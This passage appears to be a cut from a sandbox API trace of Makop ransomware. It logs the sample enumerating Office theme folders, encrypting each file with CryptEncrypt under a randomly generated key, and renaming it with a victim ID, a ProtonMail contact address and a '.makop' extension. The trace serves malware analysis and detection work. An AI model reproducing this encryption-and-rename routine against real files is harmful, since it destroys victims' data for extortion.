phKey=0x657602c*=0x48c7168) returned 1 [0095.593] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.593] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.595] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x10fc7, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x10fc7, lpOverlapped=0x0) returned 1 [0095.597] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x10fd0, dwBufLen=0x10fd0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x10fd0) returned 1 [0095.598] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.598] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10fd0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x10fd0, lpOverlapped=0x0) returned 1 [0095.599] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.599] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x11094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.599] SetEndOfFile (hFile=0x138) returned 1 [0095.607] GetProcessHeap () returned 0x48a0000 [0095.607] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0095.607] GetProcessHeap () returned 0x48a0000 [0095.607] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.607] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0095.607] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.608] CloseHandle (hObject=0x138) returned 1 [0095.608] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0095.608] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0095.608] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.609] GetProcessHeap () returned 0x48a0000 [0095.609] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.609] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.609] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.610] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xf, lpOverlapped=0x0) returned 1 [0095.613] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.613] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.613] GetProcessHeap () returned 0x48a0000 [0095.613] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0095.613] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0095.613] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.613] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0095.614] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.614] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.614] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.614] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.614] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.614] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.615] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.615] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.615] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x201, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x201, lpOverlapped=0x0) returned 1 [0095.615] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x210, dwBufLen=0x210 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x210) returned 1 [0095.615] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.615] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x210, lpOverlapped=0x0) returned 1 [0095.615] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.615] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.615] SetEndOfFile (hFile=0x138) returned 1 [0095.622] GetProcessHeap () returned 0x48a0000 [0095.622] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0095.622] GetProcessHeap () returned 0x48a0000 [0095.622] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.622] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0095.622] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.629] CloseHandle (hObject=0x138) returned 1 [0095.629] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0095.629] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0095.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.631] GetProcessHeap () returned 0x48a0000 [0095.631] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.631] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.631] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.631] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x7, lpOverlapped=0x0) returned 1 [0095.635] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.635] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.636] GetProcessHeap () returned 0x48a0000 [0095.636] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.636] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0095.636] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.636] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0095.636] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.636] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.636] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.636] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.637] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.637] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.637] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.637] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.637] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xba9, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xba9, lpOverlapped=0x0) returned 1 [0095.637] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xbb0, dwBufLen=0xbb0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xbb0) returned 1 [0095.637] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.637] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xbb0, lpOverlapped=0x0) returned 1 [0095.638] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.638] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xc84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.638] SetEndOfFile (hFile=0x138) returned 1 [0095.645] GetProcessHeap () returned 0x48a0000 [0095.645] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.645] GetProcessHeap () returned 0x48a0000 [0095.645] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.645] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0095.645] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.646] CloseHandle (hObject=0x138) returned 1 [0095.647] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0095.647] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0095.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.649] GetProcessHeap () returned 0x48a0000 [0095.649] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.649] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.649] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.649] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0095.653] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.653] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.653] GetProcessHeap () returned 0x48a0000 [0095.653] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.654] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0095.654] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.654] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0095.654] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.654] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.654] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.654] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.654] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.655] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.655] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.655] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.655] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4d44, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x4d44, lpOverlapped=0x0) returned 1 [0095.657] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x4d50, dwBufLen=0x4d50 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x4d50) returned 1 [0095.657] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.657] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x4d50, lpOverlapped=0x0) returned 1 [0095.657] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.657] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x4e24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.658] SetEndOfFile (hFile=0x138) returned 1 [0095.664] GetProcessHeap () returned 0x48a0000 [0095.664] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.664] GetProcessHeap () returned 0x48a0000 [0095.665] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.665] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0095.665] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.666] CloseHandle (hObject=0x138) returned 1 [0095.666] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0095.666] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0095.666] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0095.666] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS") returned 60 [0095.666] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*") returned 64 [0095.666] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0095.668] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.668] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0095.668] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM") returned 69 [0095.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), 